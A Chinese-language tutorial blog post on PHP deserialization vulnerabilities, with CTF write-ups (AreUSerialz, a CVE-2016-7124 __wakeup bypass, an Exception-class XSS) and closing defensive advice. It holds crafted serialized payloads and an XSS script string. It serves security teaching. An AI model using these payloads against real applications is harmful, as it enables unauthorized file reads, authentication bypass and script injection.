PHP序列化漏洞从入门到实战博客

在 Web 安全领域,PHP 反序列化漏洞一直是 CTF 比赛中的高频考点,同时也是真实业务中常见的安全风险。从最基础的无类序列化绕过,到利用魔术方法构造 POP 链,再到经典 CVE 漏洞的利用,序列化漏洞的玩法层出不穷。本文将从基础原理出发,带你一步步吃透 PHP 序列化漏洞,同时拆解 3 道经典 CTF 真题,帮你彻底掌握这一漏洞的利用与防御,同时完成配套课程的作业要求。


一、基础:PHP 序列化与反序列化核心原理

所谓序列化,就是将 PHP 的任意变量(字符串、数组、对象等)转换为可存储、可传输的字符串,方便在不同环境、不同请求之间传递数据;而反序列化则是将这个字符串还原为原本的 PHP 变量。

PHP 提供了两个核心函数来完成这一操作:

  • serialize():将变量序列化为字符串

  • unserialize():将序列化字符串还原为变量

复制代码
graph LR
A[PHP变量] -->|serialize()| B[序列化字符串]
B -->|存储/传输| C[序列化字符串]
C -->|unserialize()| D[还原PHP变量]

序列化字符串的格式解析

序列化后的字符串有固定的格式,我们可以很容易地从中解析出变量的类型和值:

  1. 普通字符串:s:5:"derry";

    • s:代表变量类型为字符串(string)

    • 5:代表字符串的长度

    • "derry":字符串的实际内容

  2. 对象类型:O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}

    • O:代表这是一个对象(Object)

    • 6:代表类名的长度

    • "Person":对象所属的类名

    • 2:代表这个对象拥有的属性个数

    • 后续部分则是每个属性的类型、名称和值,和普通变量的格式一致


二、入门:无类序列化,最基础的绕过技巧

无类序列化是序列化漏洞最基础的形态,不需要涉及类和对象,仅通过简单的字符串序列化就可以完成验证绕过,我们通过两个经典案例来理解。

案例 1:最直观的匹配绕过

第一个案例是最简单的入门题,代码如下:

复制代码
​
error_reporting(0);
include "flag.php";
$KEY = "derry";
$str = $_GET['x'];
if(unserialize($str)===$KEY)
{
 echo "$flag" ."</br>"; 
}
show_source(__FILE__);
?>

这个逻辑非常直观:我们传入的参数x会被反序列化,然后和$KEY做严格比较,相等就输出 flag。

我们只需要把derry这个字符串序列化,得到结果:

复制代码
​
s:5:"derry";

把这个字符串作为x参数传入,反序列化之后就会和$KEY完全相等,直接拿到 flag。

案例 2:变量执行顺序的巧妙绕过

第二个案例是一道经典的 CTF 小题,代码如下:

复制代码
​
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
 show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{ 
 echo "$flag";
}
else
{
 // 输出登录页面
}
$KEY = 'ISecer:www.isecer.com';
?>

很多新手看到这个题,第一反应是把ISecer:www.isecer.com序列化,然后传入 Cookie,但是这样根本拿不到 flag,问题出在哪里?

PHP 的代码是按顺序逐行执行的!

注意看,$KEY = 'ISecer:www.isecer.com';这行赋值代码,是在整个 if 判断的后面 !也就是说,当 PHP 执行到elseif (unserialize($cookie) === "$KEY")这一行的时候,$KEY这个变量还根本没有被定义!

这时候,双引号里的"$KEY"会被解析成什么?双引号会自动解析内部的变量,但是如果变量不存在,PHP 会直接把它解析成空字符串,同时因为我们关掉了错误报告,所以不会有任何提示。

所以这个判断的本质,其实是:

复制代码
​
unserialize($cookie) === ""

那我们只需要传入序列化后的空字符串:

复制代码
​
s:0:"";

反序列化之后就是空字符串,完美匹配判断条件,直接拿到 flag!


三、进阶:类序列化与魔术方法,漏洞的核心根源

当序列化的内容是对象的时候,就进入了更复杂的类序列化场景,这也是反序列化漏洞的核心应用场景。

当我们反序列化一个对象的时候,PHP 会自动触发一系列的「魔术方法」,这些方法本来是用来做对象的初始化、资源清理等工作的,但是如果我们可以控制对象的属性,就可以利用这些魔术方法来执行我们想要的操作 ------ 比如读取敏感文件、写入后门、绕过身份验证等等。

复制代码

常见魔术方法与触发时机

PHP 中常见的魔术方法和它们的触发时机如下:

魔术方法 触发时机
__construct 创建对象(new 类)时自动调用
__destruct 对象被销毁(比如脚本结束)时自动调用
__sleep 序列化对象之前自动调用,用来指定要序列化的属性
__wakeup 反序列化对象之后自动调用,用来做初始化工作
__get 访问不存在 / 权限不足的属性时自动调用
__set 给不存在 / 权限不足的属性赋值时自动调用
__call 调用不存在的方法时自动调用
__callStatic 调用不存在的静态方法时自动调用
__toString 把对象当做字符串使用(比如 echo)时自动调用
__clone 克隆对象时自动调用
__invoke 把对象当做函数调用时自动调用
__isset 对不存在 / 权限不足的属性调用 isset () 时自动调用
__unset 对不存在 / 权限不足的属性调用 unset () 时自动调用

这些魔术方法就是反序列化漏洞的核心,我们构造的恶意对象,正是靠触发这些方法来完成利用的。


四、实战:3 道经典 CTF 真题拆解

接下来我们拆解 3 道经典的 CTF 真题,从易到难,彻底掌握序列化漏洞的实战利用,同时完成课程的作业要求。

真题 1:2020 网鼎杯青龙组 AreUSerialz

这是课程作业要求我们完成的题目,我们来一步步拆解。

题目代码分析

题目给出的核心代码如下,首先是FileHandler类:

复制代码
​
class FileHandler {
 protected $op;
 protected $filename;
 protected $content;
​
 function __construct() {
 $op = "1";
 $filename = "tmpfile";
 $content = "Hello World!";
 $this->process();
 }
​
 public function process() {
 if($this->op == "1") {
 $this->write();
 } else if($this->op == "2") {
 $res = $this->read();
 $this->output($res);
 } else {
 $this->output("Bad Hacker!");
 }
 }
​
 private function read() {
 $res = "";
 if(isset($this->filename)) {
 $res = NewFlag::getFlag($this->filename);
 }
 return $res;
 }
​
 function __destruct() {
 if($this->op === "2")
 $this->op = "1";
 $this->content = "";
 $this->process();
 }
}

然后是入口的验证逻辑:

复制代码
​
function is_valid($s) {
 for($i = 0; $i < strlen($s); $i++)
 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
 return false;
 return true;
}
​
if(isset($_GET{'str'})) {
 $str = (string)$_GET['str'];
 if(is_valid($str)) {
 $obj = unserialize($str);
 }
}
解题思路

我们的目标很明确:让FileHandler对象的op=2filename=NewFlag.php,这样当对象销毁的时候,__destruct会调用process,进而调用read方法,读取NewFlag.php拿到 flag。

但是这里有个坑:is_valid函数会过滤所有不可见字符,也就是 ASCII 小于 32 或者大于 125 的字符都会被拒绝。

如果我们直接用类里的protected属性来构造序列化字符串,会发生什么? protected属性的序列化结果中,属性名会变成\0*\0op,也就是包含两个空字节(\0,ASCII 为 0),这个字符是不可见的,直接就被is_valid过滤掉了,根本过不了检查!

这时候我们可以利用 PHP7.1 + 的特性:对属性的访问类型不敏感 !也就是说,我们可以把这些属性改成public的,这样序列化之后的属性名就没有空字节了,全部都是可见字符,完美通过is_valid的检查!

构造 Payload

我们构造如下的 PHP 代码来生成 Payload:

复制代码
​
class FileHandler {
 public $op=" 2";
 public $filename="NewFlag.php";
 public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);

生成的序列化字符串如下:

复制代码
​
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}

把这个字符串作为str参数传入,就可以成功触发漏洞,拿到 flag!

最终结果

在 BUUOj 的靶场环境中,我们最终拿到的 flag 为:

复制代码
​
flag{a851c5cd-be0a-4522-ba5a-38a206180262}

完美完成课程作业!


真题 2:极客大挑战 2019 PHP

这道题考察了经典的 CVE 漏洞利用,我们来看看。

题目分析

首先我们访问网站,通过备份字典扫描,拿到了网站的源码备份www.zip,解压后得到了核心的class.php代码:

复制代码
​
class Name{
 private $username = "admin";
 private $password = 100;
 function __wakeup(){
 $this->username = "guest";
 }
 function __destruct(){
 if($this->username === "admin" && $this->password === 100){
 include "flag.php";
 echo $flag;
 }
 }
}

逻辑很清楚:__destruct会检查,如果usernameadminpassword100,就输出 flag。但是反序列化的时候,会先调用__wakeup,这个方法会把username强制改成guest!也就是说,不管我们构造的username是什么,反序列化之后都会被改成guest,永远过不了检查?

这时候,我们就可以用到经典的 CVE 漏洞:CVE-2016-7124

CVE-2016-7124 漏洞原理

这个漏洞的影响版本为:

  • PHP5.x < 5.6.25

  • PHP7.x < 7.0.10

漏洞原理非常简单:当序列化字符串中,表示对象属性个数的值,大于对象实际的属性个数 的时候,PHP 就会跳过__wakeup方法的执行!

这正好解决了我们的问题!我们只需要把序列化字符串里的属性个数从 2 改成 3,就可以绕过__wakeup,让它不会修改我们的username

构造 Payload

我们构造 Payload,同时因为usernamepasswordprivate属性,序列化后的属性名是\0Name\0username,需要 urlencode 处理:

复制代码
​
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

把这个作为select参数传入,反序列化的时候,因为属性个数是 3,大于实际的 2,所以跳过了__wakeup,我们的usernamepassword都保留了下来,__destruct触发后,检查通过,输出 flag!

最终结果

最终我们拿到的 flag 为:

复制代码
​
flag{b18bb0c2-8084-4e65-a402-f1803a87f80d}

真题 3:反序列化结合 XSS

最后这道题,考察了原生类的利用,题目代码非常简单:

复制代码
​
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>

我们传入的参数反序列化之后,直接被 echo 输出。如果我们传一个对象的话,echo 对象的时候,就会触发__toString方法。

但是题目里没有给我们自定义的类,怎么办?我们可以用 PHP 的原生类 !PHP 自带的很多原生类都自带魔术方法,比如Exception类,它的__toString方法会把它的message属性直接输出!

那我们就可以构造一个Exception对象,把message设置成我们的 XSS payload:

复制代码
​
$e = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($e));

把生成的字符串作为k参数传入,反序列化之后,echo 这个对象的时候,就会触发__toString,把我们的 XSS payload 输出出来,完美完成 XSS 攻击!


五、总结与防御

序列化漏洞的本质

PHP 反序列化漏洞的核心,就是unserialize函数接收了用户可控的输入,导致攻击者可以构造恶意的对象,通过触发魔术方法,来执行任意的恶意操作,比如读取敏感文件、写入后门、绕过验证、执行 XSS 等等。

防御方法

针对序列化漏洞,我们可以通过以下方式来防御:

  1. 尽量避免反序列化用户可控的输入,如果需要传输结构化数据,优先使用 JSON 来代替 PHP 的序列化。

  2. 如果必须使用序列化,对反序列化的类做白名单,只允许反序列化指定的安全类。

  3. 及时更新 PHP 版本,修复类似 CVE-2016-7124 这样的历史漏洞。

  4. 对用户输入做严格的过滤,避免恶意字符传入。

通过本文的学习,相信你已经彻底掌握了 PHP 序列化漏洞的原理与实战技巧,从基础的无类绕过,到魔术方法利用,再到经典 CVE 漏洞的利用,都有了完整的理解。

相关推荐
wjs20242 小时前
Bootstrap4 输入框组
开发语言
梅西库里RNG2 小时前
Java进阶理解纪要
java·开发语言
天若有情6732 小时前
从C++ RefInt到JS Object.defineProperty:吃透响应式监听的本质(学生视角)
开发语言·javascript·c++
liqianpin12 小时前
java进阶1——JVM
java·开发语言·jvm
wjs20242 小时前
HTML 音频/视频
开发语言
我能坚持多久2 小时前
C++入门基础知识
开发语言·c++·学习
枫叶丹42 小时前
【HarmonyOS 6.0】ArkUI 闪控球功能深度解析:从API到实战
开发语言·microsoft·华为·harmonyos
小白学大数据2 小时前
实战复盘:Python 爬虫破解网站动态加载页面思路
开发语言·爬虫·python
草莓熊Lotso2 小时前
MySQL 索引特性与性能优化全解
android·运维·数据库·c++·mysql·性能优化